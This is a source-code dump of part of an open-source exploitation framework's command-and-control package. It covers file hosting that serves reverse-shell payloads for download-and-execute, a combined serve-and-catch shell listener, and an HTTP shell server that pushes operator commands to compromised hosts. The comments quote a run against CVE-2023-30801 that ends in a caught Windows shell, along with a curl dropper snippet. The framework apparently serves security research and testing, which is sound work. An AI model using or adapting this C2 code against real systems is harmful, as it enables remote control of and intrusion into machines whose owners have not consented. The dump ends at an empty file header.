// HadSessions returns if the underlying channel has any sessions, regardless of their Active value.
func HadSessions(implementation Impl) bool {
	switch implementation.Category {
	case SimpleShellServerCategory:
		return simpleshell.GetServerInstance().Channel().HadSessions()
	case SimpleShellClientCategory:
		return simpleshell.GetClientInstance().Channel().HadSessions()
	case SSLShellServerCategory:
		return sslshell.GetInstance().Channel().HadSessions()
	case HTTPServeFileCategory:
		return httpservefile.GetInstance().Channel().HadSessions()
	case HTTPServeShellCategory:
		return httpserveshell.GetInstance().Channel().HadSessions()
	case ExternalCategory:
		if implementation.Name != "" {
			return external.GetInstance(implementation.Name).Channel().HadSessions()
		}
	case HTTPShellServerCategory:
		return httpshellserver.GetInstance().Channel().HadSessions()
	case ShellTunnelCategory:
		return shelltunnel.GetInstance().Channel().HadSessions()
	case InvalidCategory:
	default:
	}
	output.PrintFrameworkError("Invalid C2 Server")

	return false
}

// HasSessions returns if the underlying channel has active sessions. This is useful for code that
// needs to validate if callbacks have occurred and is a helper wrapper around the channel package
// function of the same name.
func HasSessions(implementation Impl) bool {
	switch implementation.Category {
	case SimpleShellServerCategory:
		return simpleshell.GetServerInstance().Channel().HasSessions()
	case SimpleShellClientCategory:
		return simpleshell.GetClientInstance().Channel().HasSessions()
	case SSLShellServerCategory:
		return sslshell.GetInstance().Channel().HasSessions()
	case HTTPServeFileCategory:
		return httpservefile.GetInstance().Channel().HasSessions()
	case HTTPServeShellCategory:
		return httpserveshell.GetInstance().Channel().HasSessions()
	case ExternalCategory:
		if implementation.Name != "" {
			return external.GetInstance(implementation.Name).Channel().HasSessions()
		}
	case HTTPShellServerCategory:
		return httpshellserver.GetInstance().Channel().HasSessions()
	case ShellTunnelCategory:
		return shelltunnel.GetInstance().Channel().HasSessions()
	case InvalidCategory:
	default:
	}
	output.PrintFrameworkError("Invalid C2 Server")

	return false
}

// Return the internal representation of a C2 from a string.
func StringToImpl(c2Name string) (Impl, bool) {
	for _, value := range internalSupported {
		if value.Name == c2Name {
			return value, true
		}
	}

	return Impl{Name: "", Category: InvalidCategory}, false
}


================================================
FILE: c2/factory_test.go
================================================
package c2

import (
	"testing"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
)

func TestHTTPServeFileInit(t *testing.T) {
	impl, success := GetInstance(HTTPServeFile)
	if !success {
		t.Fatal("Failed to create HTTPServeFile")
	}

	if len(httpservefile.GetInstance().HostedFiles) != 0 {
		t.Fatal("Instance has a filename already")
	}
	httpservefile.GetInstance().AddFile("name", "random", []byte("data"))
	if len(httpservefile.GetInstance().HostedFiles) != 1 {
		t.Fatalf("Should have added a file: %d", len(httpservefile.GetInstance().HostedFiles))
	}

	httpservefile.GetInstance().FilesToServe = "factory.go"
	success = impl.Init(&channel.Channel{IPAddr: "127.0.0.2", Port: 1271, HTTPAddr: "127.0.0.1", HTTPPort: 1270, IsClient: true})
	if success {
		t.Fatal("Failed to check if it was invoked as a client")
	}

	success = impl.Init(&channel.Channel{IPAddr: "127.0.0.2", Port: 1271, HTTPAddr: "127.0.0.1", HTTPPort: 1270, IsClient: false})
	if !success {
		t.Fatal("Failed to successfully process well-formed init call")
	}

	// random name should have been generated
	if len(httpservefile.GetInstance().HostedFiles["factory.go"].RandomName) == 0 {
		t.Fatal("Instance did not generate a random filename")
	}
	if httpservefile.GetInstance().HTTPAddr != "127.0.0.1" {
		t.Fatal("Instance did not take up the http bind addr")
	}
	if httpservefile.GetInstance().HTTPPort != 1270 {
		t.Fatal("Instance did not take up the http bind port")
	}
}

func TestExternalModuleSingleton(t *testing.T) {
	_, success := GetInstance(Impl{Name: "", Category: InvalidCategory})
	if success {
		t.Fatal("Invalid & default External modules should not allow instance creation")
	}
	_, success = GetInstance(Impl{Name: "", Category: ExternalCategory})
	if success {
		t.Fatal("Empty names should not be allowed")
	}
	_, success = GetInstance(Impl{Name: "i1", Category: ExternalCategory})
	if !success {
		t.Fatal("Initial instance of external module was not returned")
	}
	_, success = GetInstance(Impl{Name: "i2", Category: ExternalCategory})
	if !success {
		t.Fatal("Could not get second ExternalCategory instance")
	}
}

func TestExternalModuleAddC2(t *testing.T) {
	_, ok := StringToImpl("blorp")
	if ok {
		t.Fatal("StringToImpl should not have returned a value")
	}
	i1 := AddC2("blorp")
	i2, ok := StringToImpl("blorp")
	if !ok {
		t.Fatal("StringToImpl should have returned a value")
	}
	if i1 != i2 {
		t.Fatal("Added C2 does not match")
	}
}


================================================
FILE: c2/httpservefile/httpservefile.go
================================================
// httpservefile C2 spawns an HTTP or HTTPS server and hosts arbitrary user-provided files. The normal use case
// is for an exploit to curl/wget the file and execute it. This is useful to spawn connections to other
// tools (e.g. Metasploit, nc, etc.) or to go-exploit. This is not a traditional "c2" but serves as a useful
// backend that logically plugs into our c2 design.
//
// Files are provided on the command line as a comma delimited string. For example:
//
//	-httpServeFile.FilesToServe ./build/reverse_shell_windows-arm64.exe,./build/reverse_shell_linux-amd64
//
// The above will load two files: a windows reverse shell and a linux reverse shell. This c2 will then
// generate random names for the files and host them on an HTTP / HTTPS server. To interact with the
// files from an implementing exploit, you can fetch the filename to random name mapping using
// GetRandomName(). For example:
//
//	httpservefile.GetInstance().GetRandomName(linux64)
//
// Where linux64 is a variable that contains "reverse_shell_linux-amd64".
//
// If you are only hosting one file, then GetRandomName("") will also return your one file.
//
// Files can also be provided programmatically via the AddFile function (must be called before run).
package httpservefile

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"net/http"
	"os"
	"path"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/encryption"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/random"
)

type HostedFile struct {
	// The user provided filename
	RealName string
	// A randomly generated filename to serve
	RandomName string
	// The file's data
	FileData []byte
}

type Server struct {
	// The HTTP address to bind to
	HTTPAddr string
	// The HTTP port to bind to
	HTTPPort int
	// Set to the Server field in HTTP response
	ServerField string
	// Indicates if TLS should be enabled
	TLS bool
	// The file path to the user provided private key (if provided)
	PrivateKeyFile string
	// The file path to the user provided certificate (if provided)
	CertificateFile string
	// Loaded certificate
	Certificate tls.Certificate
	// A map of hosted files
	HostedFiles map[string]HostedFile // RealName -> struct
	// A comma delimited list of all the files to serve
	FilesToServe string
	// C2 channel and session metadata
	channel *channel.Channel
}

var singleton *Server

// A basic singleton interface for the c2.
func GetInstance() *Server {
	if singleton == nil {
		singleton = new(Server)
		// init hosted files map
		singleton.HostedFiles = make(map[string]HostedFile)
	}

	return singleton
}

// User options for serving a file over HTTP as the "c2".
func (httpServer *Server) CreateFlags() {
	// some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell).
	// so first check if these values have already been generated
	if flag.Lookup("httpServeFile.FilesToServe") == nil {
		flag.StringVar(&httpServer.FilesToServe, "httpServeFile.FilesToServe", "", "A comma delimited list of all the files to serve")
		flag.StringVar(&httpServer.ServerField, "httpServeFile.ServerField", "Apache", "The value to insert in the HTTP server field")
		flag.BoolVar(&httpServer.TLS, "httpServeFile.TLS", false, "Indicates if the HTTP server should use encryption")
		flag.StringVar(&httpServer.PrivateKeyFile, "httpServeFile.PrivateKeyFile", "", "A private key to use with the HTTPS server")
		flag.StringVar(&httpServer.CertificateFile, "httpServeFile.CertificateFile", "", "The certificate to use with the HTTPS server")
	}
}

// Return the C2 specific channel.
func (httpServer *Server) Channel() *channel.Channel {
	return httpServer.channel
}

// Shutdown the C2 server and cleanup all the sessions.
func (httpServer *Server) Shutdown() bool {
	// Account for non-running case
	if httpServer.Channel() == nil {
		return true
	}
	output.PrintFrameworkStatus("Shutting down the HTTP Server")
	if len(httpServer.Channel().Sessions) > 0 {
		for k := range httpServer.Channel().Sessions {
			httpServer.Channel().RemoveSession(k)
		}
	}

	return true
}

// load the provided files into memory, stored in a map, and loads the tls cert if needed.
func (httpServer *Server) Init(channel *channel.Channel) bool {
	if channel.Shutdown == nil {
		// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
		// configured.
		var shutdown atomic.Bool
		shutdown.Store(false)
		channel.Shutdown = &shutdown
	}
	httpServer.channel = channel
	if channel.IsClient {
		output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.")

		return false
	}

	switch {
	case channel.HTTPPort == 0 && channel.Port != 0:
		// must be stand-alone invocation of HTTPServeFile
		httpServer.HTTPAddr = channel.IPAddr
		httpServer.HTTPPort = channel.Port
	case channel.HTTPPort != 0:
		// must be used with another C2
		httpServer.HTTPAddr = channel.HTTPAddr
		httpServer.HTTPPort = channel.HTTPPort
	default:
		output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.")

		return false
	}

	// split the provided files, read them in, and store them in the map
	files := strings.Split(httpServer.FilesToServe, ",")
	for _, file := range files {
		if len(file) == 0 {
			continue
		}
		output.PrintfFrameworkStatus("Loading the provided file: %s", file)
		fileData, err := os.ReadFile(file)
		if err != nil {
			output.PrintFrameworkError(err.Error())

			return false
		}

		// remove the path from the name (check for / and \)
		shortName := file
		pathSepIndex := strings.LastIndex(shortName, "/")
		if pathSepIndex != -1 {
			shortName = shortName[pathSepIndex+1:]
		}
		pathSepIndex = strings.LastIndex(shortName, `\`)
		if pathSepIndex != -1 {
			shortName = shortName[pathSepIndex+1:]
		}

		hosted := HostedFile{
			RealName:   shortName,
			RandomName: random.RandLetters(12),
			FileData:   fileData,
		}

		output.PrintfFrameworkDebug("Added %s as %s", hosted.RealName, hosted.RandomName)
		httpServer.HostedFiles[shortName] = hosted
	}

	if httpServer.TLS {
		var ok bool
		var err error
		if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 {
			httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile)
			if err != nil {
				output.PrintfFrameworkError("Error loading certificate: %s", err.Error())

				return false
			}
		} else {
			output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
			httpServer.Certificate, ok = encryption.GenerateCertificate()
			if !ok {
				return false
			}
		}
	}

	return true
}

// Adds a file to the server. A route will be created for "randomName" when run() is executed.
func (httpServer *Server) AddFile(realName string, randomName string, data []byte) {
	hostMe := HostedFile{RealName: realName, RandomName: randomName, FileData: data}
	httpServer.HostedFiles[realName] = hostMe
}

// start the HTTP server and listen for incoming requests for `httpServer.FileName`.
func (httpServer *Server) Run(timeout int) {
	if len(httpServer.HostedFiles) == 0 {
		output.PrintFrameworkError("No files provided via httpServeFile.FilesToServe or programmatically")

		return
	}

	// set up handlers for each of the files
	for _, hosted := range httpServer.HostedFiles {
		http.HandleFunc("/"+hosted.RandomName, func(writer http.ResponseWriter, req *http.Request) {
			output.PrintfFrameworkStatus("Connection from %s requested %s", req.RemoteAddr, req.URL.Path)
			httpServer.Channel().AddSession(nil, req.RemoteAddr)

			writer.Header().Set("Server", httpServer.ServerField)

			name := path.Base(req.URL.Path)
			// cannot used hosted as the values move on with the loop
			for _, selected := range httpServer.HostedFiles {
				if selected.RandomName == name {
					http.ServeContent(writer, req, selected.RandomName, time.Time{}, bytes.NewReader(selected.FileData))

					return
				}
			}

			writer.WriteHeader(http.StatusNotFound)
		})
	}

	var wg sync.WaitGroup
	connectionString := fmt.Sprintf("%s:%d", httpServer.HTTPAddr, httpServer.HTTPPort)
	wg.Add(1)
	go func() {
		if httpServer.TLS {
			output.PrintfFrameworkStatus("Starting an HTTPS server on %s", connectionString)
			tlsConfig := &tls.Config{
				Certificates: []tls.Certificate{httpServer.Certificate},
				// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
				MinVersion: tls.VersionSSL30,
			}
			server := http.Server{
				Addr:      connectionString,
				TLSConfig: tlsConfig,
			}
			defer server.Close()
			// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown
			go func() {
				for {
					if httpServer.Channel().Shutdown.Load() {
						server.Close()
						httpServer.Shutdown()
						wg.Done()

						break
					}
					time.Sleep(10 * time.Millisecond)
				}
			}()
			// Handle timeouts
			go func() {
				time.Sleep(time.Duration(timeout) * time.Second)
				output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
				// We do not care about sessions with file
				httpServer.channel.Shutdown.Store(true)
			}()

			_ = server.ListenAndServeTLS("", "")
		} else {
			output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString)
			server := http.Server{
				Addr: connectionString,
			}
			defer server.Close()
			// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown
			go func() {
				for {
					if httpServer.Channel().Shutdown.Load() {
						server.Close()
						httpServer.Shutdown()
						wg.Done()

						break
					}
					time.Sleep(10 * time.Millisecond)
				}
			}()
			// Handle timeouts
			go func() {
				time.Sleep(time.Duration(timeout) * time.Second)
				output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
				// We do not care about sessions with file
				httpServer.channel.Shutdown.Store(true)
			}()
			_ = http.ListenAndServe(connectionString, nil)
		}
	}()

	wg.Wait()
	httpServer.Channel().Shutdown.Store(true)
}

// Returns the random name of the provided filename. If filename is empty, return the first entry.
func (httpServer *Server) GetRandomName(filename string) string {
	if len(filename) == 0 {
		for _, hosted := range httpServer.HostedFiles {
			return hosted.RandomName
		}
	}

	hosted, found := httpServer.HostedFiles[filename]
	if !found {
		output.PrintfFrameworkError("Requested a file that doesn't exist: %s", filename)

		return ""
	}

	return hosted.RandomName
}


================================================
FILE: c2/httpserveshell/httpserveshell.go
================================================
// httpservershell is (literally) a combination of HTTPServeFile and (SSLShell || SimpleShellServer).
// The use case is when you want to drop/execute a custom binary, but you still want to catch it in
// go-exploit. Example usage:
//
//		albinolobster@mournland:~/initial-access/feed/cve-2023-30801$ ./build/cve-2023-30801_linux-arm64
//	 		-e -rhost 10.9.49.133 -lhost 10.9.49.134 -lport 1270 -httpServeFile.BindAddr 10.9.49.134
//	 		-httpServeShell.SSLShell=false -httpServeFile.FilesToServe ./build/reverse_shell_windows-amd64.exe
//	 		-httpServeFile.TLS=true
//		time=2023-09-08T11:07:20.852-04:00 level=STATUS msg="Loading the provided file: ./build/reverse_shell_windows-amd64.exe"
//		time=2023-09-08T11:07:20.856-04:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
//		time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting listener on 10.9.49.134:1270"
//		time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.133 port=8080 ssl=false "ssl auto"=false
//		time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting an HTTPS server on 10.9.49.134:8080"
//		time=2023-09-08T11:07:21.092-04:00 level=STATUS msg="Using session: SID=rIOk9SAl5TXTqIfpVGmYUn/kB+VuMrqo"
//		time=2023-09-08T11:07:21.095-04:00 level=STATUS msg="Selecting a Windows payload"
//		time=2023-09-08T11:07:21.309-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.133:51706"
//		time=2023-09-08T11:07:21.309-04:00 level=STATUS msg="Active shell from 10.9.49.133:51706"
//		time=2023-09-08T11:07:23.180-04:00 level=STATUS msg="Exploit successfully completed"
//		whoami
//		albinolobst9bd8\albinolobster
//
// From the exploit code, interacting with the variables isn't too much different from using httpServeFile
// (since httpServeShell is just a wrapper):
//
//	downAndExec := dropper.Windows.CurlHTTP(
//		httpservefile.GetInstance().HTTPAddr, httpservefile.GetInstance().HTTPPort,
//		httpservefile.GetInstance().TLS, httpservefile.GetInstance().GetRandomName(windows64))
//
// Which means anything that supports httpServeShell should also trivially support httpServeFile (and the other way around
// as long as you are accounting for httpServeFile.SSLShell).
package httpserveshell

import (
	"flag"
	"sync"
	"sync/atomic"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
	"github.com/vulncheck-oss/go-exploit/c2/simpleshell"
	"github.com/vulncheck-oss/go-exploit/c2/sslshell"
	"github.com/vulncheck-oss/go-exploit/output"
)

type Server struct {
	// Indicates if we should use SSLShell or SimpleShell
	SSLShell bool
	// The HTTP address to bind to
	HTTPAddr string
	// The HTTP port to bind to
	HTTPPort int
	// The underlying C2 channel with metadata and session information
	channel     *channel.Channel
	pastTimeout atomic.Bool
}

var singleton *Server

// A basic singleton interface for the c2.
func GetInstance() *Server {
	if singleton == nil {
		singleton = new(Server)
	}

	return singleton
}

// User options for serving a file over HTTP as the "c2".
func (serveShell *Server) CreateFlags() {
	flag.BoolVar(&serveShell.SSLShell, "httpServeShell.SSLShell", false, "Indicates if the SSLShell or SimpleShell is used")

	// normal "httpservefile" uses lhost,lport for binding so we need to create new vars for that
	flag.StringVar(&serveShell.HTTPAddr, "httpServeFile.BindAddr", "", "The address to bind the HTTP serve to")
	flag.IntVar(&serveShell.HTTPPort, "httpServeFile.BindPort", 8080, "The port to bind the HTTP serve to")

	httpservefile.GetInstance().CreateFlags()
	sslshell.GetInstance().CreateFlags()
}

// load the provided file into memory. Generate the random filename.
func (serveShell *Server) Init(ch *channel.Channel) bool {
	if ch.Shutdown == nil {
		// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
		// configured.
		var shutdown atomic.Bool
		shutdown.Store(false)
		ch.Shutdown = &shutdown
	}
	serveShell.pastTimeout.Store(false)
	serveShell.channel = ch
	if len(serveShell.HTTPAddr) == 0 {
		output.PrintFrameworkError("User must specify -httpServeFile.BindAddr")

		return false
	}
	ch.HTTPAddr = serveShell.HTTPAddr
	ch.HTTPPort = serveShell.HTTPPort

	if !httpservefile.GetInstance().Init(ch) {
		return false
	}

	// Initialize the shell server channels with variables from upstream
	var shutdown atomic.Bool
	shutdown.Store(false)
	shellChannel := &channel.Channel{
		IPAddr:   ch.IPAddr,
		Port:     ch.Port,
		IsClient: false,
		Shutdown: &shutdown,
	}
	if serveShell.SSLShell {
		return sslshell.GetInstance().Init(shellChannel)
	}

	return simpleshell.GetServerInstance().Init(shellChannel)
}

// Shutdown triggers the shutdown for all running C2s.
func (serveShell *Server) Shutdown() bool {
	// Account for non-running case
	if serveShell.Channel() == nil {
		return true
	}
	// This is a bit confusing at first glance, but it solves the fact that this c2 doesn't directly
	// keep track of sessions and we can't differentiate between a timeout "done" and a signal "done".
	// What this means is that if a underlying shell server has sessions that we want to keep open for
	// use after callbacks occur we have to account for a few things:
	//
	//  - If serveShell shutdown is called and there are no sessions, just trigger shutdown on the
	//    underlying shell server (easy).
	//  - If the server does have sessions, we have a few issues. The serveShell shutdown is triggered
	//    from a shutdown call, meaning that it's already in a closing state. There is no way to tell
	//    if it was an OS signal or a timeout anymore and now if a background shell is running and we
	//    are closing serveShell we cannot catch the signal and pass the shutdown to the shell server.
	//
	// In order to solve the second, we added a `pastTimeout` atomic that only signals if we are past
	// timeout. Now, when timeout is reached and there's a background shell (the positive case) we
	// reset the Shutdown atomic to false and then begin looping to check if it closes again, making
	// the server in a state that it knows it's past timeout and reactivating the server until a
	// signal is hit or the underlying server also shuts down.

	httpservefile.GetInstance().Channel().Shutdown.Store(true)
	if serveShell.SSLShell {
		if !sslshell.GetInstance().Channel().HasSessions() {
			sslshell.GetInstance().Channel().Shutdown.Store(true)
		} else {
			// Session exist, reset the shutdown atomic and loop until a second shutdown occurs.
			serveShell.Channel().Shutdown.Store(false)
			for {
				if serveShell.Channel().Shutdown.Load() {
					// The the shutdown happens and it is past timeout, that means that
					// we have sessions but timeout has passed, so reset all atomics.
					// Now when the loop happens we will be able to check for other
					// shutdown signals of any kind.
					if serveShell.pastTimeout.Load() {
						serveShell.Channel().Shutdown.Store(false)
						serveShell.pastTimeout.Store(false)
					} else {
						sslshell.GetInstance().Channel().Shutdown.Store(true)

						break
					}
				}
			}
		}
	} else {
		if !simpleshell.GetServerInstance().Channel().HasSessions() {
			simpleshell.GetServerInstance().Channel().Shutdown.Store(true)
		} else {
			// Session exist, reset the shutdown atomic and loop until a second shutdown occurs.
			serveShell.Channel().Shutdown.Store(false)
			for {
				if serveShell.Channel().Shutdown.Load() {
					// The the shutdown happens and it is past timeout, that means that
					// we have sessions but timeout has passed, so reset all atomics.
					// Now when the loop happens we will be able to check for other
					// shutdown signals of any kind.
					if serveShell.pastTimeout.Load() {
						serveShell.Channel().Shutdown.Store(false)
						serveShell.pastTimeout.Store(false)
					} else {
						simpleshell.GetServerInstance().Channel().Shutdown.Store(true)

						break
					}
				}
			}
		}
	}

	return true
}

// Return the underlying C2 channel.
func (serveShell *Server) Channel() *channel.Channel {
	return serveShell.channel
}

// start the http server and shell and wait for them to exit.
func (serveShell *Server) Run(timeout int) {
	var wg sync.WaitGroup

	// Check if the channel has signaled shutdown and trigger cleanup no matter where it comes from.
	go func() {
		for {
			if serveShell.channel.Shutdown.Load() {
				serveShell.Shutdown()
				wg.Done()

				break
			}
			time.Sleep(10 * time.Millisecond)
		}
	}()
	go func() {
		time.Sleep(time.Duration(timeout) * time.Second)
		serveShell.pastTimeout.Store(true)
	}()
	// Spin up the shell
	wg.Add(1)
	go func() {
		if serveShell.SSLShell {
			sslshell.GetInstance().Run(timeout)
			// Handle shutdown for OS signaling or timeout from underlying instance
			go func() {
				for {
					if sslshell.GetInstance().Channel().Shutdown.Load() {
						serveShell.Channel().Shutdown.Store(true)
						wg.Done()

						break
					}
					time.Sleep(10 * time.Millisecond)
				}
			}()
		} else {
			simpleshell.GetServerInstance().Run(timeout)
			// Handle shutdown for OS signaling or timeout from underlying instance
			go func() {
				for {
					if simpleshell.GetServerInstance().Channel().Shutdown.Load() {
						serveShell.Channel().Shutdown.Store(true)
						wg.Done()

						break
					}
					time.Sleep(10 * time.Millisecond)
				}
			}()
		}
	}()

	// Spin up the http server
	wg.Add(1)
	go func() { httpservefile.GetInstance().Run(timeout) }()

	// wait until the go routines are clean up
	wg.Wait()
}


================================================
FILE: c2/httpshellserver/httpshellserver.go
================================================
// A C2 server that handles shell interaction over HTTP.
package httpshellserver

import (
	"bufio"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"net/http"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"testing"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/encryption"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/random"
)

var (
	singleton   *Server
	cliLock     sync.Mutex
	commandChan = make(chan string)
	lastSeen    time.Time
)

type Server struct {
	// The HTTP address to bind to
	HTTPAddr string
	// The HTTP port to bind to
	HTTPPort int
	// Set to the Server field in HTTP response
	ServerField string
	// Indicates if TLS should be enabled
	TLS bool
	// The file path to the user provided private key (if provided)
	PrivateKeyFile string
	// The file path to the user provided certificate (if provided)
	CertificateFile string
	// Loaded certificate
	Certificate tls.Certificate
	// Allows us to track if a connection has been received during the life of the server
	Success bool
	// Randomly generated during init, gives some sense of security where there is otherwise none.
	// This should appear in a header with the name VC-Auth
	AuthHeader string
	channel    *channel.Channel
}

// A basic singleton interface for the c2.
func GetInstance() *Server {
	if singleton == nil {
		singleton = new(Server)
	}

	return singleton
}

func (httpServer *Server) Init(channel *channel.Channel) bool {
	if channel.Shutdown == nil {
		// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
		// configured.
		var shutdown atomic.Bool
		shutdown.Store(false)
		channel.Shutdown = &shutdown
	}
	if channel == nil {
		output.PrintFrameworkError("Channel passed to C2 init was nil, ensure that channel is assigned and the shutdown atomic is set to false")

		return false
	}
	httpServer.channel = channel
	if testing.Testing() {
		httpServer.AuthHeader = "testing-auth-header"
	} else {
		httpServer.AuthHeader = random.RandLetters(20)
	}
	if channel.IsClient {
		output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.")

		return false
	}

	switch {
	case channel.Port != 0:
		httpServer.HTTPAddr = channel.IPAddr
		httpServer.HTTPPort = channel.Port
	default:
		output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.")

		return false
	}

	if httpServer.TLS {
		var ok bool
		var err error
		if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 {
			httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile)
			if err != nil {
				output.PrintfFrameworkError("Error loading certificate: %s", err.Error())

				return false
			}
		} else {
			output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
			httpServer.Certificate, ok = encryption.GenerateCertificate()
			if !ok {
				return false
			}
		}
	}

	return true
}

// User options for serving a file over HTTP as the "c2".
func (httpServer *Server) CreateFlags() {
	flag.StringVar(&httpServer.ServerField, "httpShellServer.ServerField", "Apache", "The value to insert in the HTTP server field")
	flag.BoolVar(&httpServer.TLS, "httpShellServer.TLS", false, "Indicates if the HTTP server should use encryption")
	flag.StringVar(&httpServer.PrivateKeyFile, "httpShellServer.PrivateKeyFile", "", "A private key to use with the HTTPS server")
	flag.StringVar(&httpServer.CertificateFile, "httpShellServer.CertificateFile", "", "The certificate to use with the HTTPS server")
}

// Get the underlying C2 channel with metadata and session information.
func (httpServer *Server) Channel() *channel.Channel {
	return httpServer.channel
}

// Shutdown the C2 server and cleanup all the sessions.
func (httpServer *Server) Shutdown() bool {
	// Account for non-running case
	if httpServer.Channel() == nil {
		return true
	}
	output.PrintFrameworkStatus("Shutting down the HTTP Server")
	if len(httpServer.Channel().Sessions) > 0 {
		for k := range httpServer.Channel().Sessions {
			httpServer.Channel().RemoveSession(k)
		}
	}

	return true
}

// start the HTTP server and listen for incoming requests for `httpServer.FileName`.
//
//nolint:gocognit
func (httpServer *Server) Run(timeout int) {
	http.HandleFunc("/rx", func(writer http.ResponseWriter, req *http.Request) {
		authHeader := req.Header.Get("Vc-Auth")
		if authHeader != httpServer.AuthHeader {
			writer.WriteHeader(http.StatusForbidden)
			output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("Vc-Auth"), httpServer.AuthHeader)

			return
		}

		body, _ := io.ReadAll(req.Body)
		if strings.TrimSpace(string(body)) != "" {
			output.PrintShell(fmt.Sprintf("%s: %s", req.RemoteAddr, string(body)))
		}
	})

	http.HandleFunc("/", func(writer http.ResponseWriter, req *http.Request) {
		authHeader := req.Header.Get("Vc-Auth")
		if authHeader != httpServer.AuthHeader {
			writer.WriteHeader(http.StatusForbidden)
			output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("Vc-Auth"), httpServer.AuthHeader)

			return
		}
		lastSeen = time.Now()
		writer.Header().Set("Server", httpServer.ServerField)

		if !httpServer.Success {
			go func() {
				httpServer.Success = true
				httpServer.Channel().AddSession(nil, req.RemoteAddr)
				output.PrintfSuccess("Received initial connection from %s, entering shell", req.RemoteAddr)
				cliLock.Lock()
				defer cliLock.Unlock()
				for {
					elapsed := time.Since(lastSeen)
					if elapsed/time.Millisecond > 10000 {
						fmt.Printf("last seen: %ds> ", time.Since(lastSeen)/time.Second)
					} else {
						fmt.Printf("last seen: %dms> ", time.Since(lastSeen)/time.Millisecond)
					}
					reader := bufio.NewReader(os.Stdin)
					command, _ := reader.ReadString('\n')
					trimmedCommand := strings.TrimSpace(command)
					if trimmedCommand == "help" {
						fmt.Printf("Usage:\nType a command and it will be added to the queue to be distributed to the first connection\ntype exit to shut everything down.\n")

						continue
					}
					if trimmedCommand == "exit" {
						output.PrintStatus("Exit received, shutting down")
						httpServer.Channel().Shutdown.Store(true)

						return
					}
					if strings.TrimSpace(command) != "" {
						commandChan <- strings.TrimSpace(command)
					}
				}
			}()
		}

		select {
		case command := <-commandChan:
			writer.WriteHeader(http.StatusOK)
			fmt.Fprint(writer, command)
		default:
			writer.WriteHeader(http.StatusOK)
		}
	})

	var wg sync.WaitGroup
	connectionString := fmt.Sprintf("%s:%d", httpServer.HTTPAddr, httpServer.HTTPPort)
	wg.Add(1)
	go func() {
		if httpServer.TLS {
			output.PrintfFrameworkStatus("Starting an HTTPS server on %s...", connectionString)
			tlsConfig := &tls.Config{
				Certificates: []tls.Certificate{httpServer.Certificate},
				// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
				//nolint
				MinVersion: tls.VersionSSL30,
			}
			server := http.Server{
				Addr:      connectionString,
				TLSConfig: tlsConfig,
				// required to disable HTTP/2 according to https://pkg.go.dev/net/http#hdr-HTTP_2
				TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),
			}
			defer server.Close()
			// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown
			go func() {
				for {
					if httpServer.Channel().Shutdown.Load() {
						httpServer.Shutdown()
						server.Close()
						wg.Done()

						break
					}
					time.Sleep(10 * time.Millisecond)
				}
			}()
			// Handle timeouts
			go func() {
				time.Sleep(time.Duration(timeout) * time.Second)
				if !httpServer.Channel().HasSessions() {
					output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
					httpServer.channel.Shutdown.Store(true)
				}
			}()
			_ = server.ListenAndServeTLS("", "")
		} else {
			output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString)
			server := http.Server{
				Addr: connectionString,
			}
			defer server.Close()
			// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown
			go func() {
				for {
					if httpServer.Channel().Shutdown.Load() {
						server.Close()
						httpServer.Shutdown()
						wg.Done()

						break
					}
					time.Sleep(10 * time.Millisecond)
				}
			}()
			// Handle timeouts
			go func() {
				time.Sleep(time.Duration(timeout) * time.Second)
				if !httpServer.Channel().HasSessions() {
					output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
					httpServer.channel.Shutdown.Store(true)
				}
			}()
			_ = server.ListenAndServe()
		}
	}()

	wg.Wait()
	httpServer.Channel().Shutdown.Store(true)
}


================================================
FILE: c2/shelltunnel/shelltunnel.go
================================================
